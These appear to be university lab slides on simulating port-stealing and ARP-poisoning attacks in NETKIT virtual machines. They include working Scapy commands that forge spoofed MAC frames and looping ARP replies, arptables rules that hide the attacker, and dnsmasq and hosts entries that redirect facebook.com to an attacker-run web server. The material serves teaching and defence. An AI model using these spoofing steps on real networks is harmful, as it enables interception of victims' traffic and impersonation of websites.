Port stealing and ARP poisoning attack simulation with NETKIT · Port stealing and ARP poisoning attack simulation with NETKIT Marco Bonola, Lorenzo Bracciale Corso di Reti di Accesso

Port stealing and ARP poisoning attack simulation with NETKIT

Marco Bonola, Lorenzo Bracciale

Corso di Reti di Accesso – Tor VergataProf. Stefano Salsano

A.A. 2009-2010

Part 1

Port stealing

Outline

GOAL 1: port stealing attack

How do we get there?1. 802.1d bridge emulation with Linux bridge-utilities2. Switched LAN emulation with NETKIT3. L2 and L3 packet forging with Python and SCAPY

Bridge Utilities

Linux bridge-utlities is a program that implements a subset of the ANSI/IEEE 802.1d standard (Media Access Control (MAC) Bridges).

By using this tool a Linux station can be transformed in a real switch/bridge as defined in the standard and therefore real (and virtual) interfaces can be “bridged” together.

bridge-utilities also implements STP (Spanning Tree Protocol).

Bridge-utilities consists in a Kernel module (networking -> 802.1d Ethernet Bridging) and a user space application (brctl).

Debian-like package installation:$ apt-get install bridge-utils

How to turn a PC into a switch

PC

br0

eth0 eth1 ethneth2 …....

3 ports SWITCH

A virtual interface br0 is created and a subset of the real network interfaces can be “interconnected” to this virtual interface as they where the actual port of a Ethernet switch.All the 802.1d operations are performed in the OS Kernel.

Basic commands

Creating/destroyng a bridge device:$ brctl addbr "bridge_name“

$ brctl delbr "bridge_name“

Note: Don't set the IP address, and don't let the startup scripts run DHCP on the Ethernet interfaces either. The IP address needs to be set after the bridge has been configured.

Adding/deleting interface to a bridge device:$ brctl addif “bridge_name” “device_name”

$ brctl delif “bridge_name” “device_name”

Showing devices in a bridge:$ brctl show

Showing the forwarding DB:$ brctl showmacs “bridge_name”

Important!Remember to bring the bridge interface UP when all interfaces have been added

NETKIT switch emulation

Collision

Domain A

Collision

Domain B Collision

Domain N

eth1 eth2 eth n

…..

VM with BRCTL

Bridged into br0

vm2

eth0 vmn

eth0

vm1

eth0

vm3

eth0

HUB

PC3PC2

PCnPC1

SWITCH

NETKIT lab set-up

SWITCH

sw1

pc2

pc3

iface: eth0

192.168.1.1

00:00:00:00:00:01

iface: eth0

192.168.1.3

00:00:00:00:00:03

Iface: eth0

192.168.1.2

00:00:00:00:00:02

Collision

Domain A

Collision

Domain B

Collision

Domain C

pc1

Lab set-up commands

Set root password on the host machine:

knoppix:$ su

knoppix:# passwd

(Enter New Unix Password)

knoppix:# exit

Start the virtual machines:

knoppix:$ vstart pc1 --eth0=A

knoppix:$ vstart pc2 --eth0=B

knoppix:$ vstart pc3 --eth0=C

knoppix:$ vstart sw1 --eth1=A --eth2=B --eth3=C

Lab set-up commands

Network set-up on virtual machines:

pc1: pc1:$ ip link set eth0 up

pc1:$ ip link set eth0 address 00:00:00:00:00:01

pc1:$ ip address add 192.168.1.1/24 dev eth0







Lab set-up commands

Preliminary set-up on the switch machine – sw1:

sw1:$ ip link set eth1 up



sw1:$ nohup tcpdump -i any -w /hosthome/dump.pcap -s0 &

Bridge creation on sw1:

sw1:$ brctl addbr br0

sw1:$ brctl addif br0 eth1



sw1:$ ip link set br0 up

Launch wireshark on the host machine:

knoppix:$ wireshark /home/knoppix/dump.pcap

Proof of concept

Monitor the forwarding database:sw1:$ watch „brctl showmacs br0 | grep –v yes‟

Let’s populate the FDB:pc1:$ ping 192.168.1.2

pc2:$ ping 192.168.1.3

What is on the FDB?

port no mac addr is local? ageing time

1 00:00:00:00:00:01 yes 10.00

2 00:00:00:00:00:02 yes 5.00

3 00:00:00:00:00:03 yes 1.00

Question: why all stations in the FDB whit only 2 pings?

Port stealing attack – How to perform it

Let’s say an attacker (evil0, behind switch port 1) wants to steal pc2(the victim) port on the switch (port 2).

SW1 has to be “tricked” into thinking that pc2 is behind the same switch port as evil0 (port 1)

To do that we evil0 has to send a Ethernet packet with bb:00:00:00:00:02 as source MAC address

We say that evil0 has to “spoof” the victim’s MAC address, or in other words to “forge an Ethernet packet with spoofed source MAC address”

evil0 has to send “whatever” packet (ARP, raw IP, ICMP, empty UDP/TCP, DNS, etc..) with spoofed source MAC address and the switch will update the FDB properly

Port stealing: attack scenario

victim

SWITCH

sw1

pc2

pc3

iface: eth0

192.168.1.1

00:00:00:00:00:01

iface: eth0

192.168.1.3

00:00:00:00:00:03

Iface: eth0

192.168.1.2

00:00:00:00:00:02iface: eth0

192.168.1.200

00:00:00:00:00:FF

HUB

pc1

evil0Collision

Domain A

Collision

Domain B

Collision

Domain C

Packet forging

Writing tools for packets forging to the Ethernet layer is not as easy as sending data with TCP/UDP standard sockets.

To do that we would need to use C raw socket API and write packets “field by field” (e.g.: eth.src, eth.type, ip.checksum ecc…)

We have two different type of raw socket:PF_INETPF_PACKET

For those who are interested, take a look at the following brief tutorial about C RAW socket programming:http://mixter.void.ru/rawip.html

http://www.secdev.org/conf/scapy_pacsec05.handout.pdf


RAW Server

Receiving Ethernet frames not addressed to your machine is not trivial

MAC implementations silently discard frames addressed to other MAC address (except for multicast Ethernet address)

To work around this design limitation we can configure the NIC into promiscuous mode (i.e. to not perform any mac-based filtering at firmware level)

Anyway OS Kernel usually filters these packets. To overcome this limitation, we need to open RAW socket. Such sockets short-circuit the application level with the Ethernet level, delivering to your application all the traffic your NIC sees.

All further non-Ethernet processing is up to your application

SCAPY

Fortunately someone did this job for us and provided a python library for packet forging scripting.

Python is a interpreted and object oriented programming language.

SCAPY is a python library that provide (among other things) an interactive shell for packet forging (from L2 to L7). Moreover SCAPY interactive shell provide command for packet transmission, reception and decoding.

(this is a simplified view of SCAPY limited to what we are interested in. For a detailed description take a look at:

http://www.secdev.org/conf/scapy_pacsec05.handout.pdf)


SCAPY example

Build a packet layer by layer, send it and wait for the reply:

pc:$ sudo scapy

>>> a=IP(dst="www.uniroma2.it", id=0x42)

>>> a.ttl=12

>>> b=TCP(dport=80, flags=“S”)

>>> sr1(a/b)

What is needed but not specified is automatically done by scapy:1. ip.src is set by default routing 2. tcp.sport is random3. a DNS request is automatically sent to resolve www.uniroma2.it4. all other unspecified fields are set by scapy

Just take a look at the C code to see the difference…

http://www.uniroma2.it/

Attacker set-up

Start the virtual machine (on host machine):knoppix:$ vstart evil0 --eth0=tap,10.0.0.1,10.0.0.2 --

eth1=A -M 64

DNS configuration : evil0:$ echo “namserver 194.20.8.1” > /etc/resolv.conf

Install scapy package:evil0:$ apt-get update

evil0:$ apt-get install python-scapy

evil0:$ ip link set eth0 down

Network set-up:

evil0:$ ip link set eth1 up

evil0:$ ip link set address 00:00:00:00:00:04 dev eth1

evil0:$ ip address add 192.168.1.200/24 dev eth1

Packet forging and transmission

ETHERNET IP ICMP

src: 00:00:00:00:00:02dst: 00:00:00:00:00:03type: 0x0800

src: 192.168.1.1dst: 192.168.1.3proto: 01 (ICMP)

echo requestseq: 01

evil0:$ scapy

>>> pck = Ether(src=“00:00:00:00:00:02”) /

IP(dst=“192.168.1.3”) / ICMP()

>>> sendp(pck)

Summary

1. What can the victim do to prevent this attack?

2. Why is this attack more theoretical then practical?

3. How the victim can take the switch port back?

4. What can the attacker do to give the port back to the victim?

5. Is there another way to do this attack?

Part 2

ARP poisoning

Outline

1. NETKIT LAB Setup2. HTTP connection (from L2 to L7)3. ARP and Linux4. ARP poisoning attack5. Attacker configuration and setup

NETKIT LAB

• Download lab tarball from: stud.netgroup.uniroma2.it/~lorenzo/RA/ra-arp-lab.tar.bz2

temp url: tinyurl.com/esercitazione2

• Preliminary operations:– knoppix:$ tar xvjf ra-arp-lab.tar.bz2

– knoppix:$ cd arp_poisoning/patch

– knoppix:$ sudo dkpg –i patch_2.6-2_i386.deb

– knoppix:$ ./apply.sh

• The LAB is made with LSTART netkit command. For any details “man lstart”– For each folder a vm is started with the same name– See lab.conf for network configuration– Each machine in the lab starts at startup the script machine.startup– Each file in the folder “machine/” is overwritten in the filesystem

• To start the LAB:– knoppix:$ arp_poisoning/start_lab

NETKIT lab set-up

dns

evil0

victim

Knoppixrouter

Iface:eth1

10.0.0.1

Iface:tap

192.168.1.1

Iface:eth0

192.168.1.2

Iface:eth0

DHCP

Collision

Domain A

UML

(“virtual world”)

Knoppix Live

+ DHCP server

Iface:eth0

10.0.0.2

Iface:eth0

10.0.0.232

Iface:eth0

DHCP conf.

pc1

Iface:eth0

DHCP conf.

LAB Setup

Lab.conf:router[0]=tap,192.168.1.1,192.168.1.2

router[1]=A

dns[0]=A

victim[0]=A

pc1[0]=A

evil0[0]=A

evil0[mem]=64

start_lab:

#!/bin/bash

lstart router pc1 victim evil0 dns

router start-up and configurationrouter.startup:

ip link set eth1 up

ip link set address 00:00:00:00:00:01 dev eth1

ip address add 10.0.0.1/24 dev eth1

/etc/init.d/dhcp3-server start

echo 1 > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A POSTROUTING -s 10.0.0.0/24 -j MASQUERADE

router/etc/dhcp3/dhcpd.conf:

option domain-name-servers 10.0.0.2;

option routers 10.0.0.1;

default-lease-time 3600;

subnet 10.0.0.0 netmask 255.255.255.0 {

range 10.0.0.100 10.0.0.254;

}

dns startup and configuration

dns.startup:

ip link set eth0 up



ip route add default via 10.0.0.1

/etc/init.d/dnsmasq start

Dnsmasq configuration:

Seedns/etc/dnsmasq.conf and resolv.conf

pc1 and victim start-up

pc1.startup:

dhclient eth0


victim.startup:

dhclient eth0

ip link set address 00:00:00:00:00:aa dev eth0

Q: why don’t we set the default GW route as for the VMs in lesson 1?Q: what is the difference between this LAN and the one in Lesson 1?

What happens when a web browser connects?

Client

DNS

Router

LAN

1. Who is DNS (ARP)2. Server name resolution (DNS)3. Who is default GW? (ARP)4. HTTP get trasmission (HTTP)

Hypothesis : ARP and DNS cache empty

What happens when a web browser connects?

Let’s try it on pc1:

1. Run tcpdump:pc1:$ nohup tcpdump –i eth0 –w

/hosthome/dump.pcap –s0 &

2. Open a web page:pc1:$ links www.corriere.it

3. Open wireshark in knoppix:knoppix:$ wireshark /home/knoppix/dump.pcap

ARP management in LinuxThe ARP cache can be is maipulated whit the command “ip neighbour”.HINT: no need to type “neighbour”. Try “ip n”Run “man ip” for details.

1. Show the cache:pc1:$ ip n show

2. Add a ARP entry:pc1:$ ip n add to “ip_addr” lladdr “mac_addr” dev

“dev_name” state “state_name”

(state: permanent, stale, noarp, rachable)

3. Delete a ARP entry:knoppix:$ ip n del to “ip_addr” dev “dev_name”

4. Flush the cache:pc1:$ ip n flush dev “dev_name” state “state_name”

Attack outline

Attack GOAL: 1. ARP poisoning attack for DNS server impersonification2. Wrong DNS resolution for some websites3. HTTP request serving

How do we get there?1. Network emulation - NETKIT2. ARP packet forging - SCAPY3. DNS server impersonification – Dnsmasq4. WEB server impersonification – Apache2

INTERNET

RouterDHCP server

DNS

evil0

victim

LAN10.0.0.0/24

www.google.com

Attack scenario

1a – ARP cache poisoningevil0 to victim: “I am your DNS server”

Spoofed ARP resp.

INTERNET

RouterDHCP server

DNS

evil0

victim

LAN10.0.0.0/24

www.google.com

Attack scenario

2a– DSN impersonificationvictim: “who is www.facebook.com”evil0: “I’m www.facebook.com”

DSN Req/Resp

INTERNET

RouterDHCP server

DNS

evil0

victim

LAN10.0.0.0/24

www.google.com

Attack scenario

HTTP

3a – WEB server impersonificationevil0 starts serving HTTP request for www.facebook.com

Evil0 start-up (part 1)

evil0.startup:

echo "configuring eth0 interface"

ip link set eth0 up

ip link set address 00:00:00:00:00:ff dev eth0



echo "configuring alias and hide it"



arptables -F

arptables -A INPUT -d 10.0.0.2 -j DROP

arptables -A OUTPUT -s 10.0.0.2 -j mangle --mangle-ip-s

10.0.0.232

iptables -A OUTPUT -p icmp -s 10.0.0.2 -j DROP

iptables -A INPUT -p icmp -d 10.0.0.2 -j DROP

Evil0 start-up (part 2)

evil0.startup:

/etc/init.d/dnsmasq start

/etc/init.d/apache2 start

echo "setting DNS nameserver"

echo "nameserver 208.67.222.222" >> /etc/resolv.conf

echo "installing scapy"

dpkg -i /root/python-support_1.0.6_all.deb

dpkg -i /root/python-scapy_2.0.1-1_all.deb

Evil0 configuration

For DNS configuration see:evil0/etc/dnsmasq.conf

evil0/etc/hosts

In particular /etc/hosts:10.0.0.232 www.facebook.com

10.0.0.232 www.repubblica.it

69.147.76.15 www.google.com

WEB data goes into /evil0/var/www/

ARP poisoning with SCAPY

evil0:$ scapy

>> ips="10.0.0.2"

>> ipd="10.0.0.101"

>> hs="00:00:00:00:00:FF"

>> hd="00:00:00:00:00:AA"

>> a=Ether(src=hs,dst=hd)

>> b=ARP(op=2,psrc=ips,pdst=ipd,hwdst=hd,hwsrc=hs)

>> p=a/b

>> sendp(p,loop=1,inter=1)

GOAL: evil0 wants to poison victim’s ARP cache and steal DNS’s IP address

victim - IP: 10.0.0.101; L2: 00:00:00:00:00:AA

DNS server - IP: 10.0.0.2

evil0 - L2: 00:00:00:00:00:FF

What’s going on?

1. Watch ARP cachevictim:$ watch “ip n”

2. Resolve a name:victim:$ host www.repubblica.com

3. Open the browservictim:$ links www.facebook.com

victim:$ links www.google.com

Q: Is there anything we can do?

A: ARP and DNS static entry (“ip n add” and “/etc/hosts file”)

INTERNET

RouterDHCP server

DNS

evil0

victim

LAN10.0.0.0/24

www.google.com

MIM Attack scenario

1b – ARP cache poisoningevil0 to victim: “I am your default GW”evil0 to GW: “I am victim” (not strictly necessary -NAT)

Spoofed ARP resp.

INTERNET

RouterDHCP server

DNS

evil0

victim

LAN10.0.0.0/24

www.google.com

MIM Attack scenario

2b– Router impersonification - MIMvictim’s default GW = evil0All traffic to outside the LAN is routed through the attacker evil0

Documents

Port stealing and ARP poisoning attack simulation with NETKIT · Port stealing and ARP poisoning attack simulation with NETKIT Marco Bonola, Lorenzo Bracciale Corso di Reti di Accesso